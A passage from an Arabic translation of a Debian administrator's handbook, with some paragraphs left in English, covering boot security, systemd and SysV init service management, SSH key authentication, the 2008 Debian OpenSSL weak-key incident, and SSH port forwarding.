لمنع هذا يمكنك حماية محمل الإقلاع نفسه بكلمة سر. يمكنك أيضاً الأخذ بعين الاعتبار حماية الوصول إلى BIOS (ميزة حماية BIOS بكلمة سر متوفرة دائماً تقريباً)، إذ بدونها يستطيع أي متطفل خبيث إقلاع الجهاز من وسيط تخزين نقال عليه نسخة لينكس يستطيع استخدامها للوصول إلى المعلومات على الأقراص الصلبة للحاسب.

أخيراً، عليك الحذر من أن معظم نظم BIOS لها كلمات سر عامة. القصد الأساسي وراء هذه الكلمات هو مساعدة الذين ينسون كلمات مرورهم، لكن كلمات السر هذه أصبحت علنية الآن ومتاحة على الإنترنت (تأكد بنفسك بالبحث عن ”generic BIOS passwords“ في أي محرك بحث). إذن سوف تعيق جميع وسائل الحماية هذه الوصول غير المصرح به للحواسيب لكن لن تمنعه بشكل كامل. لا توجد طريقة موثوقة لحماية حاسب ما إذا كان المخترق يستطيع الوصول إليه فيزيائياً؛ إذ يمكنه فصل الأقراص الصلبة وتوصيلها بحاسب آخر على أي حال، أو يسرق الجهاز كله، أو يمحو ذاكرة BIOS لإزالة كلمة السر…

Systemd executes several processes, in charge of setting up the system: keyboard, drivers, filesystems, network, services. It does this while keeping a global view of the system as a whole, and the requirements of the components. Each component is described by a “unit file” (sometimes more); the general syntax is derived from the widely-used “*.ini files“ syntax, with key = value pairs grouped between [section] headers. Unit files are stored under /lib/systemd/system/ and /etc/systemd/system/; they come in several flavors, but we will focus on “services” and “targets” here.

يعرف ”ملف الخدمة“ في systemd عملية يديرها systemd. يحوي هذا الملف نفس المعلومات التي كانت تحويها سكربتات init القديمة تقريباً، لكنها معرفة بطريقة تصريحية (وأكثر اختصاراً بكثير). يتولى systemd غالبية المهام المتكررة (بدء العملية وإيقافها، فحص حالتها، السجلات logging، سحب الصلاحيات، وغيرها)، أما ملف الخدمة فيذكر فقط خصوصيات العملية. على سبيل المثال، هذا ملف الخدمة الخاص بعملية SSH:

[Unit] Description=OpenBSD Secure Shell server After=network.target auditd.service ConditionPathExists=!/etc/ssh/sshd_not_to_be_run [Service] EnvironmentFile=-/etc/default/ssh ExecStart=/usr/sbin/sshd -D $SSHD_OPTS ExecReload=/bin/kill -HUP $MAINPID KillMode=process Restart=on-failure [Install] WantedBy=multi-user.target Alias=sshd.service

كما ترى، ليس هناك إلا القليل من الكود في هذا الملف، وكلها تصريحات. يتولى systemd مهمة عرض تقارير عن مستوى التقدم progress reports، ومتابعة العمليات، وإعادة تشغيلها عند الحاجة.

يعرف ”ملف الهدف“ في systemd إحدى حالات النظام، حيث تعمل فيها مجموعة محددة من الخدمات. يمكنك اعتبارها كمكافئ للمستوى التشغيلي قديماً. أحد الأهداف هو local-fs.target؛ وعند تحقيقه تستطيع أجزاء النظام الأخرى أن تفترض أن كافة نظم الملفات المحلية مربوطة وقابلة للوصول. من الأهداف الأخرى هناك network-online.target وsound.target. يمكن ذكر اعتماديات الهدف في ملف الهدف نفسه (في سطر Requires=)، أو باستخدام رابط رمزي في المجلد /lib/systemd/system/targetname.target.wants/ يشير إلى ملف خدمة ما. مثلاً، يحوي المجلد /etc/systemd/system/printer.target.wants/ رابطاً يشير إلى /lib/systemd/system/cups.service؛ بالتالي سيحرص systemd على ضمان عمل CUPS في سبيل الوصول إلى printer.target.

بما أن ملفات الوحدات ملفات تصريحية وليست سكربتات أو برامج، فلا يمكن تنفيذها مباشرة، ولا يمكن تفسيرها إلا عن طريق systemd؛ ولهذا قُدّمت عدة أدوات تسمح لمدير النظام بالتفاعل مع systemd والتحكم في حالة النظام وحالة كل مكون من مكوناته.

أولى هذه الأدوات هي systemctl. عند استدعائها دون أي متغيرات، سوف تعرض لائحة بكل ملفات الوحدات التي يعرفها systemd (عدا الوحدات المعطلة)، بالإضافة إلى حالاتها. تعطي أداة systemctl status رؤية أفضل عن الخدمات، وعن العمليات المتعلقة بها. وإذا أعطيت اسم إحدى الخدمات (مثلاً systemctl status ntp.service)، ستعيد تفاصيل أكثر، مثل آخر السطور من السجلات المتعلقة بهذه الخدمة (سنعود لهذه الفكرة لاحقاً).

لبدء تشغيل خدمة ما يدوياً يكفي استدعاء systemctl start servicename.service. ولإيقاف الخدمة يكفيك استدعاء systemctl stop servicename.service؛ من الأوامر الفرعية الأخرى هناك reload وrestart.

للتحكم في تفعيل الخدمة (أي هل سيتم تشغيلها تلقائياً عند الإقلاع أم لا)، استخدم الأمر systemctl enable servicename.service (أو disable لتعطيلها). يسمح لك الأمر الفرعي is-enabled بالتحقق من حالة الخدمة.

An interesting feature of systemd is that it includes a logging component named journald. It comes as a complement to more traditional logging systems such as syslogd, but it adds interesting features such as a formal link between a service and the messages it generates, and the ability to capture error messages generated by its initialization sequence. The messages can be displayed later on, with a little help from the journalctl command. Without any arguments, it simply spews all log messages that occurred since system boot; it will rarely be used in such a manner. Most of the time, it will be used with a service identifier:

# journalctl -u ssh.service -- Logs begin at Tue 2015-03-31 10:08:49 CEST, end at Tue 2015-03-31 17:06:02 CEST. -- Mar 31 10:08:55 mirtuel sshd[430]: Server listening on 0.0.0.0 port 22. Mar 31 10:08:55 mirtuel sshd[430]: Server listening on :: port 22. Mar 31 10:09:00 mirtuel sshd[430]: Received SIGHUP; restarting. Mar 31 10:09:00 mirtuel sshd[430]: Server listening on 0.0.0.0 port 22. Mar 31 10:09:00 mirtuel sshd[430]: Server listening on :: port 22. Mar 31 10:09:32 mirtuel sshd[1151]: Accepted password for roland from 192.168.1.129 port 53394 ssh2 Mar 31 10:09:32 mirtuel sshd[1151]: pam_unix(sshd:session): session opened for user roland by (uid=0)

هناك خيار مفيد آخر وهو خيار -f، الذي يطلب من journalctl الاستمرار في عرض الرسائل الجديدة فور بثها (بشكل مشابه كثيراً لاستخدام tail -f file).

إذا بدا أن إحدى الخدمات لا تعمل كما يجب، فأولى الخطوات لحل المشكلة هي التحقق من أن الخدمة تعمل فعلاً عن طريق systemctl status؛ إذا لم تكن تعمل، وكانت الرسائل التي يعطيها الأمر الأول غير كافية لتشخيص المشكلة، تحقق من السجلات التي جمعها journald عن الخدمة. مثلاً، لنفترض أن مخدم SSH لا يعمل:

# systemctl status ssh.service ● ssh.service - OpenBSD Secure Shell server Loaded: loaded (/lib/systemd/system/ssh.service; enabled) Active: failed (Result: start-limit) since Tue 2015-03-31 17:30:36 CEST; 1s ago Process: 1023 ExecReload=/bin/kill -HUP $MAINPID (code=exited, status=0/SUCCESS) Process: 1188 ExecStart=/usr/sbin/sshd -D $SSHD_OPTS (code=exited, status=255) Main PID: 1188 (code=exited, status=255) Mar 31 17:30:36 mirtuel systemd[1]: ssh.service: main process exited, code=exited, status=255/n/a Mar 31 17:30:36 mirtuel systemd[1]: Unit ssh.service entered failed state. Mar 31 17:30:36 mirtuel systemd[1]: ssh.service start request repeated too quickly, refusing to start. Mar 31 17:30:36 mirtuel systemd[1]: Failed to start OpenBSD Secure Shell server. Mar 31 17:30:36 mirtuel systemd[1]: Unit ssh.service entered failed state. # journalctl -u ssh.service -- Logs begin at Tue 2015-03-31 17:29:27 CEST, end at Tue 2015-03-31 17:30:36 CEST. -- Mar 31 17:29:27 mirtuel sshd[424]: Server listening on 0.0.0.0 port 22. Mar 31 17:29:27 mirtuel sshd[424]: Server listening on :: port 22. Mar 31 17:29:29 mirtuel sshd[424]: Received SIGHUP; restarting. Mar 31 17:29:29 mirtuel sshd[424]: Server listening on 0.0.0.0 port 22. Mar 31 17:29:29 mirtuel sshd[424]: Server listening on :: port 22. Mar 31 17:30:10 mirtuel sshd[1147]: Accepted password for roland from 192.168.1.129 port 38742 ssh2 Mar 31 17:30:10 mirtuel sshd[1147]: pam_unix(sshd:session): session opened for user roland by (uid=0) Mar 31 17:30:35 mirtuel sshd[1180]: /etc/ssh/sshd_config line 28: unsupported option "yess". Mar 31 17:30:35 mirtuel systemd[1]: ssh.service: main process exited, code=exited, status=255/n/a Mar 31 17:30:35 mirtuel systemd[1]: Unit ssh.service entered failed state. Mar 31 17:30:35 mirtuel sshd[1182]: /etc/ssh/sshd_config line 28: unsupported option "yess". Mar 31 17:30:35 mirtuel systemd[1]: ssh.service: main process exited, code=exited, status=255/n/a Mar 31 17:30:35 mirtuel systemd[1]: Unit ssh.service entered failed state. Mar 31 17:30:35 mirtuel sshd[1184]: /etc/ssh/sshd_config line 28: unsupported option "yess". Mar 31 17:30:35 mirtuel systemd[1]: ssh.service: main process exited, code=exited, status=255/n/a Mar 31 17:30:35 mirtuel systemd[1]: Unit ssh.service entered failed state. Mar 31 17:30:36 mirtuel sshd[1186]: /etc/ssh/sshd_config line 28: unsupported option "yess". Mar 31 17:30:36 mirtuel systemd[1]: ssh.service: main process exited, code=exited, status=255/n/a Mar 31 17:30:36 mirtuel systemd[1]: Unit ssh.service entered failed state. Mar 31 17:30:36 mirtuel sshd[1188]: /etc/ssh/sshd_config line 28: unsupported option "yess". Mar 31 17:30:36 mirtuel systemd[1]: ssh.service: main process exited, code=exited, status=255/n/a Mar 31 17:30:36 mirtuel systemd[1]: Unit ssh.service entered failed state. Mar 31 17:30:36 mirtuel systemd[1]: ssh.service start request repeated too quickly, refusing to start. Mar 31 17:30:36 mirtuel systemd[1]: Failed to start OpenBSD Secure Shell server. Mar 31 17:30:36 mirtuel systemd[1]: Unit ssh.service entered failed state. # vi /etc/ssh/sshd_config # systemctl start ssh.service # systemctl status ssh.service ● ssh.service - OpenBSD Secure Shell server Loaded: loaded (/lib/systemd/system/ssh.service; enabled) Active: active (running) since Tue 2015-03-31 17:31:09 CEST; 2s ago Process: 1023 ExecReload=/bin/kill -HUP $MAINPID (code=exited, status=0/SUCCESS) Main PID: 1222 (sshd) CGroup: /system.slice/ssh.service └─1222 /usr/sbin/sshd -D #

بعد التحقق من حالة الخدمة (فشل failed)، انتقلنا إلى التحقق من السجلات؛ التي أشارت إلى خطأ في ملف الإعدادات. بعد تحرير ملف الإعدادات وإصلاح الخطأ، أعدنا تشغيل الخدمة، ثم تحققنا أنها تعمل فعلاً.

التعمق أكثر الأنواع الأخرى لملفات الوحدات

لقد شرحنا أبسط قدرات systemd في هذا القسم. لكن هناك ميزات كثيرة أخرى مفيدة؛ سنذكرها سريعاً هنا:

تفعيل المقابس socket activation: يمكن استخدام ملف وحدة من نوع ”socket“ لتعريف مقبس شبكة أو مقبس يونكس يديره systemd؛ هذا يعني أن systemd سينشئ المقبس، ويمكن تشغيل الخدمة الفعلية حسب الطلب عند ورود محاولة اتصال فعلية. هذه الميزة تشبه تقريباً مزايا inetd. انظر systemd.socket(5)‎.

المؤقتات timers: ملف الوحدة من نوع المؤقت ”timer“ لتعريف أحداث تنفذ بمعدل تكرار ثابت أو في أوقات معينة؛ عندما تربط إحدى الخدمات بمؤقت من هذا النوع، سوف تُنفّذ المهمة المحددة لحظة قدح المؤقت. هذا يسمح بتقليد جزء من مزايا cron. انظر systemd.timer(5)‎.

شبكة network: يعرف ملف الوحدة من نوع الشبكة “network unit file“ واجهة شبكية، وهذا يسمح بإعداد هذه الواجهات بالإضافة إلى السماح بتعريف اعتماد الخدمات على جاهزية واجهة شبكية معينة.

9.1.2. نظام إقلاع System V

ينفذ نظام System V init (الذي سنكتفي بتسميته init اختصاراً) عدة عمليات، وفقاً للتعليمات في الملف /etc/inittab. أول برنامج ينفذ هو /etc/init.d/rcS (التابع لمرحلة sysinit)، وهو سكربت ينفذ جميع البرامج في المجلد /etc/rcS.d/.

من ضمن هذه البرامج سوف تجد –على التعاقب– برامجاً مسؤولة عن:

إعداد لوحة مفاتيح الطرفية؛

تحميل التعاريف: تحمّل النواة معظم التعاريف عند اكتشاف العتاد؛ بعدها تحمل التعاريف الإضافية آلياً إذا كانت الوحدات الموافقة لها مذكورة في /etc/modules؛

التحقق من سلامة نظام الملفات؛

ربط الأقسام المحلية؛

إعداد الشبكة؛

ربط نظم الملفات الشبكية (NFS).

أساسيات وحدات النواة والخيارات

هناك خيارات لوحدات النواة أيضاً يمكن ضبطها بوضع بعض الملفات في /etc/modprobe.d/. تعرف هذه الخيارات بتعليمات توجيهية تشبه هذه: options module-name option-name=option-value. يمكن تحديد عدة خيارات بتعليمة توجيهية واحدة إذا اقتضى الأمر.

ملفات الضبط هذه تابعة لبرنامج modprobe – وهو البرنامج الذي يحمل وحدات النواة مع اعتمادياتها (تستطيع وحدات النواة بالفعل استدعاء وحدات أخرى). هذا البرنامج متوفر في الحزمة kmod.

بعد هذه المرحلة، تتولى init التحكم وتبدأ تشغيل البرامج المفعلة في مستوى التشغيل الافتراضي (وهو عادة المستوى 2)، حيث تنفذ /etc/init.d/rc 2، وهو سكربت يشغل جميع الخدمات المذكورة في المجلد /etc/rc2.d/ والتي تبدأ أسماؤها بالحرف ”S“. كان يستخدم العدد المؤلف من خانتين الذي يتلو الحرف قديماً لتحديد ترتيب تشغيل الخدمات، لكن حالياً أصبح نظام الإقلاع الافتراضي يعتمد على insserv، الذي يجدول كل شيء آلياً حسب اعتماديات السكربتات. بالتالي على كل سكربت إقلاعي أن يصرح عن الشروط التي يجب تلبيتها عند تشغيل أو إيقاف الخدمة (إذا كان يجب تشغيل الخدمة قبل أو بعد خدمة أخرى مثلاً)؛ بعدها تشغلهم init بالترتيب الذي يحقق هذه الشروط. لم يعد الترقيم الثابت يؤخذ بعين الاعتبار إذن (لكن أسماء السكربتات يجب أن تبدأ دائمًا بحرف ”S“ يتبعه خانتين من الأرقام ثم الاسم الفعلي للسكربت الذي يستخدم مع الاعتماديات). عموماً، يبدأ تشغيل الخدمات الأساسية (مثل خدمة rsyslog التي تجمع السجلات، أو خدمة تعيين المنافذ portmap) أولاً، تليها الخدمات القياسية والواجهة الرسومية (gdm3).

يسمح نظام الإقلاع الاعتمادي هذا بأتمتة عملية إعادة الترقيم، وهذه عملية متعبة جداً لو كانت ستتم يدوياً، كما يحد من الأخطاء البشرية، بما أن الجدولة تجري وفقاً للقيود المفروضة. هناك أيضاً ميزة أخرى، وهي أن تشغيل الخدمات يمكن أن يتم على التوازي إذا كانت مستقلة عن بعضها، وهذا يسرع عملية الإقلاع.

تفرق init بين عدة مستويات تشغيلية، بحيث يمكن التبديل من أحد هذه المستويات إلى الآخر بالأمر telinit new-level. تبدأ init فوراً تنفيذ /etc/init.d/rc مرة ثانية ولكن في المستوى التشغيلي الجديد. بعدها يبدأ هذا السكربت تشغيل الخدمات الناقصة وإيقاف الخدمات التي لم تعد مرغوبة. لإتمام هذه المهمة، يستند هذا السكربت على محتويات /etc/rcX.d (حيث X تمثل المستوى الجديد). السكربتات التي تبدأ بالحرف ”S“ (من كلمة ”Start“) هي الخدمات التي يجب تشغيلها؛ أما التي تبدأ بالحرف ”K“ (من كلمة ”Kill“) فهي الخدمات التي يجب إيقافها. لا يشغل السكربت أي خدمة كانت فعالة مسبقاً في المستوى التشغيلي السابق.

افتراضياً، يستخدم نظام إقلاع System V في دبيان أربعة مستويات تشغيلية:

المستوى 0 يستخدم مؤقتاً فقط أثناء إيقاف تشغيل الحاسب. ولذلك فهو لا يحوي إلا عدة سكربتات ”K“ فقط.

المستوى 1، ويعرف أيضاً بوضع المستخدم الوحيد single-user mode، وهو يمثل النظام في وضع الأداء المنخفض؛ فهو يُحَمِّل الخدمات الأساسية فقط، وهو يستخدم لأغراض الصيانة بعيداً عن تفاعل المستخدمين.

المستوى 2 هو مستوى العمل الطبيعي، الذي يتضمن خدمات الشبكة، والواجهة الرسومية، واتصالات المستخدمين، الخ.

المستوى 6 يشبه المستوى 0، عدا أنه يستخدم في طور إيقاف التشغيل الذي يسبق إعادة الإقلاع.

هناك مستويات تشغيل أخرى، بالأخص المستويات من 3 إلى 5. افتراضياً تعمل هذه المستويات مثل المستوى 2 تماماً، لكن يستطيع مدير النظام تعديلها (بإضافة أو حذف سكربتات في مجلد /etc/rcX.d الموافق) لتكييفها مع حاجاته الخاصة.

شكل 9.2. تسلسل الإقلاع في حاسب يعمل بنظام لينكس يستخدم systemd

كافة السكربتات المخزنة في مجلدات /etc/rcX.d المختلفة هي في الحقيقة روابط رمزية فقط —يُنشِئها البرنامج update-rc.d عند تثبيت الحزمة— تشير إلى السكربتات الفعلية المخزنة في /etc/init.d/. يستطيع مدير النظام ضبط الخدمات المتاحة في كل مستوى تشغيلي من خلال إعادة استدعاء update-rc.d مع البارامترات المعدلة. تشرح صفحة الدليل update-rc.d(1)‎ صيغة استخدامها بالتفصيل. نرجو أن تلاحظ أن إزالة جميع الروابط الرمزية (باستخدام البارامتر remove) ليست طريقة جيدة لتعطيل الخدمة. بل عليك إعدادها بحيث لا تعمل في المستوى التشغيلي المطلوب بكل بساطة (مع الحفاظ على الاستدعاءات الموافقة لإيقافها في حال كانت الخدمة تعمل في المستوى التشغيلي السابق). بما أن واجهة update-rc.d متشابكة نوعاً ما، فقد تفضل استخدام rcconf (من الحزمة rcconf) الذي يوفر واجهة أليفة للمستخدم.

سياسة دبيان إعادة تشغيل الخدمات

أحياناً تعيد سكربتات الصيانة لبعض حزم دبيان تشغيل خدمات معينة لضمان توافرها أو لجعلها تأخذ بعض الخيارات بعين الاعتبار. لا يأخذ الأمر الذي يتحكم بالخدمات —service service operation— المستويات التشغيلية بعين الاعتبار، ويفترض (مخطئاً) أن الخدمة تستخدم حالياً، لذلك قد يجري عمليات غير صحيحة (بدء خدمة كانت موقفة عمداً، أو إيقاف خدمة متوقفة أصلاً، الخ). لهذا قدمت دبيان البرنامج invoke-rc.d: يجب أن تستخدم سكربتات الصيانة هذا البرنامج لتشغيل سكربتات تهيئة الخدمات، وسوف ينفذ هذا البرنامج الأوامر الضرورية فقط. لاحظ أن اللاحقة .d استخدمت هنا في اسم البرنامج، وليس اسم مجلد، بخلاف الاستعمال الشائع.

أخيراً، تبدأ init تشغيل البرامج لمختلف الطرفيات الظاهرية (getty). بعدها تعرض سطر أوامر، الذي ينتظر إدخال اسم المستخدم، ثم تنفذ login user لبدء جلسة عمل.

مصطلحات Console وTerminal

كانت الحواسيب الأولى تفصل عادة إلى العديد من الأجزاء الكبيرة: كانت حظيرة التخزين ووحدة المعالجة المركزية مفصولتين عن الأجهزة الملحقة التي يستخدمها عمال التشغيل للتحكم بهما. كانت هذه الملحقات جزءاً من قطعة مستقلة، وهي الـ ”console – لوحة المراقبة أو التحكم“. لقد بقي المصطلح، لكن معناه تغير. لقد أصبح –بصورة أو بأخرى– مرادفاً للمصطلح ”terminal – طرفية“، وهي شاشة مع لوحة مفاتيح.

مع تطور الحواسيب، قدمت نظم التشغيل العديد من الـconsoles الظاهرية لتسمح بفتح عدة جلسات مستقلة في الوقت نفسه، حتى لو كان هناك شاشة واحدة ولوحة مفاتيح واحدة. توفر معظم نظم GNU/Linux ست consoles ظاهرية (في الوضع النصي)، يمكن الوصول إليها بالضغط على المفاتيح Control+Alt+F1 وحتى Control+Alt+F6.

يمكن أن يشير المصطلحان ”console“ و ”terminal“ أيضًا لمحاكيات الطرفيات التي تعمل في جلسات X11 الرسومية (مثل xterm، أو gnome-terminal أو konsole).

9.2. تسجيل الدخول عن بعد

الاتصال بالحاسوب عن بعد أمر أساسي لأي مدير نظام. فالمخدمات، المحتجزة في غرفها الخاصة، نادراً ما تزود بلوحة مفاتيح وشاشة دائمتين — بل توصل بالشبكة.

أساسيات مخدم، عميل

يوصف النظام الذي تتواصل فيه عدة مهام بين بعضها بالتعبير ”مخدم/عميل“ غالباً. المخدم هو البرنامج الذي يستلم الطلبات من العميل وينفذها. يتحكم العميل بهذه العمليات، أما المخدم فلا يتخذ أي مبادرات من نفسه.

9.2.1. الدخول البعيد الآمن: SSH

صمم بروتوكول SSH‏ (Secure SHell) مع التركيز على الأمان والوثوقية. الاتصالات عبر SSH آمنة: حيث يستوثق من الشخص الآخر، وتشفر جميع تبادلات البيانات.

ثقافة Telnet و RSH أدوات مهجورة

قبل SSH، كانت Telnet وRSH هي الأدوات الرئيسية المستخدمة للدخول عن بعد. لكنها الآن بائدة تماماً ويجب عدم استعمالها حتى لو أنها بقيت متوفرة في دبيان.

مصطلحات المصادقة/الاستيثاق، التشفير

الحماية ضرورية عندما تحتاج إعطاء عميل ما إمكانية إجراء عمل ما أو بدء نشاط على المخدم. يجب أن تتأكد من هوية العميل؛ هذه هي المصادقة. تتكون هذه الهوية عادة من كلمة مرور يجب أن تبقى سرية، وإلا استطاع أي عميل آخر الحصول عليها. هذا هو الهدف من التشفير، وهو نوع من الترميز الذي يسمح لنظامين بتبادل المعلومات السرية عبر قناة عامة مع حمايتها بمنع الآخرين من فهمها.

غالباً ما تذكر المصادقة مع التشفير سوياً، أولاً لأنهما يستخدمان معاً بكثرة، وثانياً لأنهما يطبقان عادة باستخدام مفاهيم رياضية متشابهة.

يقدم SSH خدمتين لنقل الملفات. الأمر scp هو أداة نصية يمكن استخدامها كما يستخدم cp، إلا أن أي مسار إلى جهاز آخر يُسبَق باسم الجهاز، متبوعاً بنقطتين رأسيتين (:).

$ scp file machine:/tmp/

أما sftp فهو أمر تفاعلي، شبيه بالأمر ftp. يستطيع sftp نقل عدة ملفات في جلسة واحدة، كما يمكن التحكم بالملفات البعيدة باستخدامه (حذف، إعادة تسمية، تغيير الصلاحيات، الخ).

تستخدم دبيان OpenSSH، وهو نسخة حرة من SSH يشرف عليها مشروع OpenBSD (نظام تشغيل حر يعتمد على النواة BSD، ويركز على الأمن) مشتقة من برنامج SSH الأصلي الذي طورته شركة SSH Communication Security Corp الفنلندية. لقد طورت هذه الشركة SSH بشكل برنامج حر في البداية، لكن قررت لاحقاً متابعة تطويره تحت رخصة احتكارية. بعد ذلك أنشأ مشروع OpenBSD المشتق OpenSSH لمتابعة صيانة نسخة حرة من SSH.

أساسيات مشتق

”المشتق“ (fork)، في مجال البرمجيات، هو مشروع جديد يبدأ كنسخة عن مشروع سابق، وينافسه. بعد الاشتقاق، يتباعد المشروعان عادة من ناحية التطويرات الجديدة. غالباً ما يكون الاشتقاق نتيجة خلاف بين أعضاء فريق التطوير.

إمكانية اشتقاق البرمجيات هذه هي نتيجة مباشرة لطبيعة البرمجيات الحرة؛ الاشتقاق حدث جيد عندما يسمح بمتابعة تطوير المشروع بشكل حر (في حال تغيير الرخصة على سبيل المثال). لكن الاشتقاق الناتج عن خلافات شخصية أو تقنية هو مضيعة للموارد البشرية غالباً؛ ويفضل حل هذه النزاعات بأسلوب آخر. لكن ليس من النادر أن يعاد دمج مشروعين انشقا عن بعضهما سابقاً.

يقسم OpenSSH إلى حزمتين: قسم العميل في الحزمة openssh-client، وقسم المخدم في الحزمة openssh-server. تعتمد الحزمة ssh على القسمين وتسهل تثبيتهما معاً (apt install ssh).

9.2.1.1. المصادقة بالمفاتيح

في كل مرة يسجل فيها أحد دخوله عبر SSH، يطلب المخدم البعيد كلمة سر للتحقق من هوية المستخدم. هذا قد يسبب المشاكل إذا كنت تريد أتمتة الاتصال، أو كنت تستخدم أداة تتطلب الاتصال عبرSSH كثيراً. لذلك يقدم SSH نظام المصادقة بالمفاتيح.

يُولِّد المستخدم زوجاً من المفاتيح على الجهاز العميل باستخدام ssh-keygen -t rsa؛ يوضع المفتاح العام في ~/.ssh/id_rsa.pub، بينما يوضع المفتاح الخاص في ~/.ssh/id_rsa ثم يستدعي المستخدم الأمر ssh-copy-id server لإضافة مفتاحه العام إلى ~/.ssh/authorized_keys على المخدم. إذا لم تتم حماية المفتاح الخاص ”بعبارة مرور passphrase“ عند إنشائه، فسوف تتم جميع عمليات تسجيل الدخول اللاحقة على المخدم دون كلمة سر. وإلا يجب فك تشفير المفتاح الخاص في كل مرة بإدخال عبارة المرور. لحسن الحظ، يسمح لنا ssh-agent بالاحتفاظ بالمفتاح الخاص في الذاكرة دون الحاجة لإدخال كلمة السر بشكل متكرر. لتحقيق ذلك، عليك استخدام ssh-add ببساطة (مرة واحدة في كل جلسة عمل) شرط أن تكون جلسة العمل مرتبطة سلفاً بنسخة فعالة من ssh-agent. تُفعِّل دبيان ssh-agent افتراضياً في الجلسات الرسومية، لكن يمكن تعطيل ذلك بتحرير /etc/X11/Xsession.options. بالنسبة للجلسات النصية، عليك تفعيل ssh-agent يدوياً باستخدام eval $(ssh-agent).

أمن حماية المفتاح الخاص

كل من يملك المفتاح الخاص يستطيع الدخول على الحسابات المُعدَّة بهذه الطريقة. لذلك تتم حماية الوصول إلى المفتاح الخاص ”بعبارة مرور“. من يحصل على نسخة من ملف المفتاح الخاص عند ذلك (مثلاً، ~/.ssh/id_rsa) يبقى عليه معرفة هذه العبارة حتى يتمكن من استخدامه. لكن هذه الحماية الإضافية ليست منيعة، وإذا كنت تعتقد أن هذا الملف قد فُضِح، فمن الأفضل تعطيل ذلك المفتاح على الحواسيب المثبت عليها (بإزالته من ملفات authorized_keys) واستبداله بمفتاح مولد حديثاً.

ثقافة ثغرة OpenSSL في دبيان إيتش

The OpenSSL library, as initially provided in Debian Etch, had a serious problem in its random number generator (RNG). Indeed, the Debian maintainer had made a change so that applications using it would no longer generate warnings when analyzed by memory testing tools like valgrind. Unfortunately, this change also meant that the RNG was employing only one source of entropy corresponding to the process number (PID) whose 32,000 possible values do not offer enough randomness.

→ https://www.debian.org/security/2008/dsa-1571

بالأخص، كلما استُخدِمَت OpenSSL لتوليد مفتاح، كانت تولد دوماً مفتاحاً ينتمي لمجموعة معروفة من بضعة مئات آلاف المفاتيح (32,000 مضروبة بعدد صغير من أطوال المفاتيح). أثر هذا على مفاتيح SSH، ومفاتيح SSL، وشهادات X.509 التي تستخدمها العديد من التطبيقات، مثل OpenVPN. كان كل ما يحتاجه المخترق هو تجربة جميع المفاتيح حتى يتمكن من الدخول غير المصرح به. لتخفيف ضرر المشكلة، تم تعديل خدمة SSH بحيث ترفض المفاتيح المشكوك بها المذكورة في الحزمتين openssh-blacklist وopenssh-blacklist-extra. بالإضافة لذلك، يسمح الأمر ssh-vulnkey بالتعرف على المفاتيح في النظام التي يحتمل أنها مفضوحة.

بيّنت التحليلات الأكثر تعمقاً أن هذه الحادثة كانت نتيجة عدة مشاكل (صغيرة)، جزء منها يقع على عاتق مشروع OpenSSH، والجزء الآخر على عاتق مشرف الحزمة في مشروع دبيان. يجب ألا تولد مكتبة منتشرة الاستخدام مثل OpenSSL أية إنذارات –وبدون أي تعديل عليها– عند فحصها باستخدام valgrind. بالإضافة لذلك، يجب إضافة تعليقات أفضل على الكود (خصوصاً الأجزاء الحساسة مثل RNG) لمنع حدوث هكذا أخطاء. أما من جهة مشروع دبيان، فقد أراد مشرف الحزمة إقرار مطوري OpenSSL على التعديلات، لكنه اكتفى بشرح التعديلات دون تقديم الترقيع لهم حتى يراجعوه ولم يصرح عن دوره في مشروع دبيان. أخيراً، كان أسلوب العمل غير مناسب، فالتعديلات التي أجريت على الكود الأصلي لم توثق بوضوح؛ ومع أن جميع التعديلات مخزنة فعلياً في مستودع Subversion، إلا أنها انتهت مجتمعة مع بعضها في رقعة واحدة أثناء إنشاء الحزمة المصدرية.

It is difficult under such conditions to find the corrective measures to prevent such incidents from recurring. The lesson to be learned here is that every divergence Debian introduces to upstream software must be justified, documented, submitted to the upstream project when possible, and widely publicized. It is from this perspective that the new source package format (“3.0 (quilt)”) and the Debian sources webservice were developed.

→ https://sources.debian.org

9.2.1.2. استخدام تطبيقات X11 عن بعد

يسمح بروتوكول SSH بتوجيه البيانات الرسومية (جلسات ”X11“، نسبةً لاسم النظام الرسومي الأكثر انتشاراً في يونكس)؛ يحافظ المخدم عند ذلك على قناة مخصصة لهذه البيانات. على وجه الخصوص، يمكن عرض برنامج رسومي يُنَفَّذ عن بعد على مخدم X.org على الشاشة المحلية، وسوف تُؤمَّن الجلسة بالكامل (الدخل والعرض). هذه الميزة معطلة افتراضياً لأنها تسمح للتطبيقات البعيدة بالتداخل مع النظام المحلي. يمكنك تفعليها بتحديد X11Forwarding yes في ملف ضبط المخدم (/etc/ssh/sshd_config). أخيراً، يجب أن يطلبها المستخدم أيضاً بإضافة الخيار -X إلى الأمر ssh.

9.2.1.3. إنشاء الأنفاق المشفرة باستخدام توجيه المنافذ

يسمح الخياران -R و-L للأمر ssh بإنشاء ”أنفاق مشفرة“ بين جهازين، باستخدام التوجيه الآمن لمنفذ TCP محلي (انظر الملاحظة الجانبية أساسيات TCP/UDP) إلى جهاز بعيد أو العكس.

مصطلحات نفق

تعمل شبكة الإنترنت، ومعظم الشبكات المحلية المتصلة بها، في وضع الرزم (packet mode) وليس وضع الاتصال (connected mode)، وهذا يعني أن الرزمة التي تنطلق من حاسوب إلى آخر سوف تتوقف عند العديد من الموجهات الوسيطة حتى تعثر على الطريق إلى وجهتها. لا تزال محاكاة وضع العمل المتصل ممكنة حيث يُغلَّف تيار المعلومات (stream) في رزم IP عادية. تتبع هذه الرزم طريقها المعتاد، لكن يعاد بناء التيار كما هو عند الوجهة. يدعى هذا ”بالنفق“، مثل نفق السيارات حيث تسير فيه المركبات مباشرة من المدخل (input) إلى المخرج (output) دون المرور بأي تقاطعات، بخلاف الطرقات على سطح الأرض التي تحوي العديد من التقاطعات وتغييرات الاتجاه.

يمكنك الاستفادة من هذه الفرصة لتشفير النفق: عندئذ لن يمكن التعرف على التيار الذي يجري عبره من الخارج، لكن يعاد التيار إلى الشكل غير المشفر عند الخروج من النفق.

ينشئ الأمر ssh -L 8000:server:25 intermediary جلسة SSH مع المضيف intermediary وينصت للمنفذ المحلي 8000 (انظر شكل 9.3, “توجيه منفذ محلي باستخدام SSH”). في كل مرة ينشأ فيها اتصالاً مع هذا المنفذ، سيفتح ssh اتصالاً من الحاسوب intermediary إلى المنفذ 25 على server، وسيربط الاتصالين معاً.

